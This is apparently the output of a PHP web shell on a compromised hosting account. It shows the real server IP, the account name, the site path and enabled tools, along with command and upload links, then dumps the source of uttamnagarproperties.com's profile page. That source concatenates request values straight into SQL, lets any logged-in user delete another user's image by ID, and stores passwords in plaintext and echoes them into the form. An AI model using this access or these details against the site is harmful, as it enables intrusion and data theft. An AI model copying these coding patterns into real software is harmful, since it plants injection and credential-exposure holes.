Server IP : 103.53.40.154 / Your IP : 18.116.85.108 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/uttamnagarproperties.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("uttam-header.php");?> <!-- .site-header --> <?php if(empty($_SESSION['RID'])){ header("lacation:index.php"); exit; } /******* DELETE IMAGE START ********/ if($_REQUEST['ImgdelID']!=''){ $DelUsrImage=db_scalar("select reg_image_name from tbl_registration where 1 and reg_id='".$_REQUEST['ImgdelID']."'"); @unlink("user_image/$DelUsrImage"); $updateImgSql = db_query("update tbl_registration set reg_image_name='' where 1 and reg_id='".$_REQUEST['ImgdelID']."'"); header("location:my-profile.php"); exit; } /******* DELETE IMAGE END ********/ /******* UPDATE USER INFORMATION START ********/ if(isset($_POST['update_user'])){ function getExtension($str) { $i = strrpos($str,"."); if (!$i) { return ""; } $l = strlen($str) - $i; $ext = substr($str,$i+1,$l); return $ext; } $image =$_FILES["file1"]["name"]; $uploadedfile = $_FILES['file1']['tmp_name']; if ($image){ /***** Delete Previous Image If Uploaded New *****/ $DelImage=db_scalar("select reg_image_name from tbl_registration where 1 and reg_id='".$_SESSION['RID']."'"); @unlink("user_image/$DelImage"); //**** Change Duplicate Image name Start Here****// $ext = substr($image, strrpos($image, ".")); $imageDupli = db_scalar("select count(*) from tbl_registration where 1 and reg_image_name='$image'"); if($imageDupli > 0){ $image = basename($image, $ext); $image = basename($image, $ext) . rand(1,1000) . $ext; }else{ $image = $image; } //**** Change Duplicate Image name End Here****// $filename = stripslashes($_FILES['file1']['name']); $extension = getExtension($filename); $extension = strtolower($extension); $size=filesize($_FILES['file1']['tmp_name']); if($extension=="jpg" || $extension=="jpeg" ){ $uploadedfile = $_FILES['file1']['tmp_name']; $src = imagecreatefromjpeg($uploadedfile); } else if($extension=="png") { $uploadedfile = $_FILES['file1']['tmp_name']; $src = imagecreatefrompng($uploadedfile); } else { $src = imagecreatefromgif($uploadedfile); } list($width,$height)=getimagesize($uploadedfile); $newwidth11=216; $newheight11=216; $tmp11=imagecreatetruecolor($newwidth11,$newheight11); imagecopyresampled($tmp11,$src,0,0,0,0,$newwidth11,$newheight11,$width,$height); $filename11 = "user_image/". $image; imagejpeg($tmp11,$filename11,100); imagedestroy($src); imagedestroy($tmp11); }else{ $image = db_scalar("select reg_image_name from tbl_registration where 1 and reg_id='".$_SESSION['RID']."'"); } $updateSql = db_query("update tbl_registration set reg_name='$reg_name', reg_display_name='$reg_display_name', reg_email='$reg_email', reg_pass='$reg_pass', reg_address='$reg_address', reg_city='$reg_city', reg_state='$reg_state', reg_country='$reg_country', reg_zip_code='$reg_zip_code', reg_mobile_no='$reg_mobile_no', reg_fax='$reg_fax', reg_office_no='$reg_office_no', reg_facebook_url='$reg_facebook_url', reg_twitter_url='$reg_twitter_url', reg_google_url='$reg_google_url', reg_linkdin_url='$reg_linkdin_url', reg_image_name='$image', reg_user_description='$reg_user_description', reg_user_type='$reg_user_type' where 1 and reg_id='".$_SESSION['RID']."'"); ?> <script type="text/javascript"> $(document).ready(function(e) { $("#AddSucc").show("slow"); }); </script> <? } /******* UPDATE USER INFORMATION END ********/ $profileSql = db_query("select * from tbl_registration where 1 and reg_id='$_SESSION[RID]'"); if(mysqli_num_rows($profileSql)>0){ $PRODATA = mysqli_fetch_array($profileSql); } ?> <div class="page-head " style="background: url(images/banner.jpg) #494c53 no-repeat center top; background-size: cover;"> <div class="container"> <div class="page-head-content"> <h1 class="page-title"><span>My Profile</span></h1> </div> </div> </div> <!-- .page-head --> <div id="content-wrapper" class="site-content-wrapper site-pages"> <div id="content" class="site-content layout-boxed"> <div class="row"> <div class="col-sm-12"> <div id="AddSucc" style="display:none; color:#090; text-align:center; font-size:16px;"><strong>Success ! Information updated successfully.</strong> </div> </div> </div> <div class="container"> <div class="row"> <div class="col-xs-12 site-main-content"> <main id="main" class="site-main"> <div class="white-box user-profile-wrapper" style="color:#999;"> <form id="inspiry-edit-user" class="submit-form" method="post" enctype="multipart/form-data" onSubmit="return ProfileValidation();"> <div class="row"> <div class="col-md-6"> <div class="form-option user-profile-img-wrapper clearfix"> <div id="user-profile-img"> <div> <?php if($PRODATA['reg_image_name']!=''){ ?> <img class="img-responsive" src="user_image/<?=$PRODATA['reg_image_name']?>" alt="User Image" id="1_blah"> <? }else{ ?> <img class="img-responsive" src="images/userprofile.png" alt="User Image" id="1_blah"> <? } ?> <?php if($PRODATA['reg_image_name']!=''){ ?> <div class="text-center" style="margin-top:5px;"><strong><a href="my-profile.php?ImgdelID=<?=$PRODATA['reg_id']?>" class="text-danger"><i class="fa fa-trash-o"></i> Delete Image</a></strong></div> <? } ?> </div> </div> <!-- #user-profile-img --> <div class="profile-img-controls"> <ul class="field-description list-unstyled"> <li><span>*</span>Profile image should have minimum width and height of 220px.</li> <li><span>*</span>Make sure to save changes after uploading the new image.</li> </ul> <div style="margin-top:35px;"> <input type="file" style="display:none;" name="file1" id="file1" class="inputfile inputfile-2" onchange="readURL(this,'1_blah');" /> <label for="file1"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17"><path d="M10 0l-5.2 4.9h3.3v5.1h3.8v-5.1h3.3l-5.2-4.9zm9.3 11.5l-3.2-2.1h-2l3.4 2.6h-3.5c-.1 0-.2.1-.2.1l-.8 2.3h-6l-.8-2.2c-.1-.1-.1-.2-.2-.2h-3.6l3.4-2.6h-2l-3.2 2.1c-.4.3-.7 1-.6 1.5l.6 3.1c.1.5.7.9 1.2.9h16.3c.6 0 1.1-.4 1.3-.9l.6-3.1c.1-.5-.2-1.2-.7-1.5z"/></svg> <span>Choose a file…</span></label></div> </div> <!-- .profile-img-controls --> </div> <!-- .user-profile-img-wrapper --> </div> <!--<div class="col-md-6"> <div class="form-option"> <label for="description">Biographical Information</label> <textarea name="description" id="description" rows="5" cols="30"></textarea> </div> </div>--> </div> <!-- .row --> <div class="row"> <div class="col-md-4"> <div class="form-option"> <label for="reg_name" class="text-primary">Name *</label> <input class="valid required" name="reg_name" type="text" id="reg_name" value="<?=$PRODATA['reg_name']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_display_name" class="text-primary">Business Name</label> <input class="required" name="reg_display_name" type="text" id="reg_display_name" value="<?=$PRODATA['reg_display_name']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_email" class="text-primary">Email *</label> <input class="email required valid" name="reg_email" type="email" id="reg_email" value="<?=$PRODATA['reg_email']?>"> </div> </div> </div> <!-- .row --> <div class="row"> <div class="col-md-4"> <div class="form-option"> <label for="reg_mobile_no" class="text-primary">Mobile Number *</label> <input class="digits" name="reg_mobile_no" type="text" id="reg_mobile_no" value="<?=$PRODATA['reg_mobile_no']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_office_no" class="text-primary">Office Number</label> <input class="digits" name="reg_office_no" type="text" id="reg_office_no" value="<?=$PRODATA['reg_office_no']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_fax" class="text-primary">Fax Number</label> <input class="digits" name="reg_fax" type="text" id="reg_fax" value="<?=$PRODATA['reg_fax']?>"> </div> </div> </div> <!-- .row --> <div class="row"> <div class="col-md-8"> <div class="form-option"> <label for="reg_address" class="text-primary">Address</label> <textarea class="digits" name="reg_address" id="reg_address" style="height:50px;"><?=$PRODATA['reg_address']?></textarea> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_city" class="text-primary">City</label> <input class="digits" name="reg_city" type="text" id="reg_city" value="<?=$PRODATA['reg_city']?>"> </div> </div> </div> <!-- .row --> <div class="row"> <div class="col-md-4"> <div class="form-option"> <label for="reg_state" class="text-primary">State</label> <input class="url" name="reg_state" type="text" id="reg_state" value="<?=$PRODATA['reg_state']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_country" class="text-primary">Country</label> <input class="url" name="reg_country" type="text" id="reg_country" value="<?=$PRODATA['reg_country']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_zip_code" class="text-primary">Zip Code</label> <input class="url" name="reg_zip_code" type="text" id="reg_zip_code" value="<?=$PRODATA['reg_zip_code']?>"> </div> </div> </div> <!-- .row --> <div class="row"> <div class="col-md-4"> <div class="form-option"> <label for="reg_facebook_url" class="text-primary">Facebook URL</label> <input class="url" name="reg_facebook_url" type="text" id="reg_facebook_url" value="<?=$PRODATA['reg_facebook_url']?>"> </div> </div> <div class="col-md-4"> <div class="form-option"> <label for="reg_twitter_url" class="text-primary">Twitter URL</label> <input class="url" name="reg_twitter_url" type="text" id="reg_twitter_url" value="<?=$PRODATA['reg_twitter_url']?>"> </div> </div> <!-- <div class="col-md-4"> <div class="form-option"> <label for="reg_google_url" class="text-primary">Google Plus URL</label> <input class="url" name="reg_google_url" type="text" id="reg_google_url" value="<?=$PRODATA['reg_google_url']?>"> </div> </div>--> <div class="col-md-4"> <div class="form-option"> <label for="reg_linkdin_url" class="text-primary">LinkedIn URL</label> <input class="url" name="reg_linkdin_url" type="text" id="reg_linkdin_url" value="<?=$PRODATA['reg_linkdin_url']?>"> </div> </div> </div> <!-- .row --> <div class="row"> <!-- <div class="col-md-4"> <div class="form-option"> <label for="reg_linkdin_url" class="text-primary">LinkedIn URL</label> <input class="url" name="reg_linkdin_url" type="text" id="reg_linkdin_url" value="<?=$PRODATA['reg_linkdin_url']?>"> </div> </div>--> <div class="col-md-6"> <div class="form-option"> <label for="reg_pass" class="text-primary">Password * <!-- <small>( Fill it only when you want to change )</small>--> </label> <input name="reg_pass" type="text" id="reg_pass" value="<?=$PRODATA['reg_pass']?>"> </div> </div> <div class="col-md-6"> <div class="form-option"> <label for="reg_user_type" class="text-primary">User Type *</label> <select name="reg_user_type" id="reg_user_type"> <option value="Buyer" <?php if($PRODATA['reg_user_type']=="Buyer"){ ?> selected <? } ?>>Buyer/Owner</option> <option value="Agent" <?php if($PRODATA['reg_user_type']=="Agent"){ ?> selected <? } ?>>Agent</option> <option value="Builder" <?php if($PRODATA['reg_user_type']=="Builder"){ ?> selected <? } ?>>Builder</option> </select> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="form-option"> <label for="reg_user_description" class="text-primary">Business Summary</label> <input class="url" name="reg_user_description" type="text" id="reg_user_description" value="<?=$PRODATA['reg_user_description']?>"> </div> </div> </div> <!-- .row --> <!-- .row --> <div class="form-option"> <input type="submit" id="update-user" name="update_user" class="btn-small btn-orange" value="Save Changes"> <img src="images/ajax-loader-2.gif" id="ajax-loader" alt="Loading..."> </div> <p id="form-message"></p> <ul id="form-errors"></ul> </form> <!-- #inspiry-edit-user --> </div> <!-- .user-profile-wrapper --> </main> <!-- .site-main --> </div> <!-- .site-main-content --> </div> <!-- .row --> </div> <!-- .container --> </div> <!-- .site-content --> </div> <!-- .site-content-wrapper --> <script type="text/javascript"> function ProfileValidation(){ function trim(str){ return str.replace(/^\s*|\s*$/g,''); } if(trim(document.getElementById('reg_name').value)==0){ alert("Enter Your Name !"); document.getElementById('reg_name').focus(); return false; } if (!document.getElementById('reg_name').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)){ alert("Please enter only alphabets !"); document.getElementById('reg_name').value=''; document.getElementById('reg_name').focus(); return false; } var email=trim(document.getElementById('reg_email').value); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if(email=='') { alert('Please Enter Email Id'); document.getElementById('reg_email').focus(); return false; }else if(!email.match(mailformat)){ alert("You have entered an invalid email address!"); document.getElementById('reg_email').focus(); return false; } var mobno=trim(document.getElementById('reg_mobile_no').value); if(trim(document.getElementById('reg_mobile_no').value)==0){ alert("Enter your mobile no.!"); document.getElementById('reg_mobile_no').focus(); return false; } if(isNaN(document.getElementById('reg_mobile_no').value)){ alert("Mobile no. should be no.!"); document.getElementById('reg_mobile_no').focus(); return false; } if(mobno.length < 10){ alert("Mobile no. should be 10 digit long !"); document.getElementById('reg_mobile_no').focus(); return false; } if(trim(document.getElementById('reg_pass').value)==0){ alert("Enter your password !"); document.getElementById('reg_pass').focus(); return false; } if(trim(document.getElementById('reg_user_type').value)==0){ alert("Select user type !"); document.getElementById('reg_user_type').focus(); return false; } } </script> <link href='css/component.css' rel='stylesheet' type='text/css'> <script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script> <script src="js/custom-file-input.js"></script> <script type="text/javascript"> function readURL(input,inputID) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { $('#'+inputID) .attr('src', e.target.result) .width(216) .height(216); }; reader.readAsDataURL(input.files[0]); } } </script> <?php include("uttam-footer.php");?>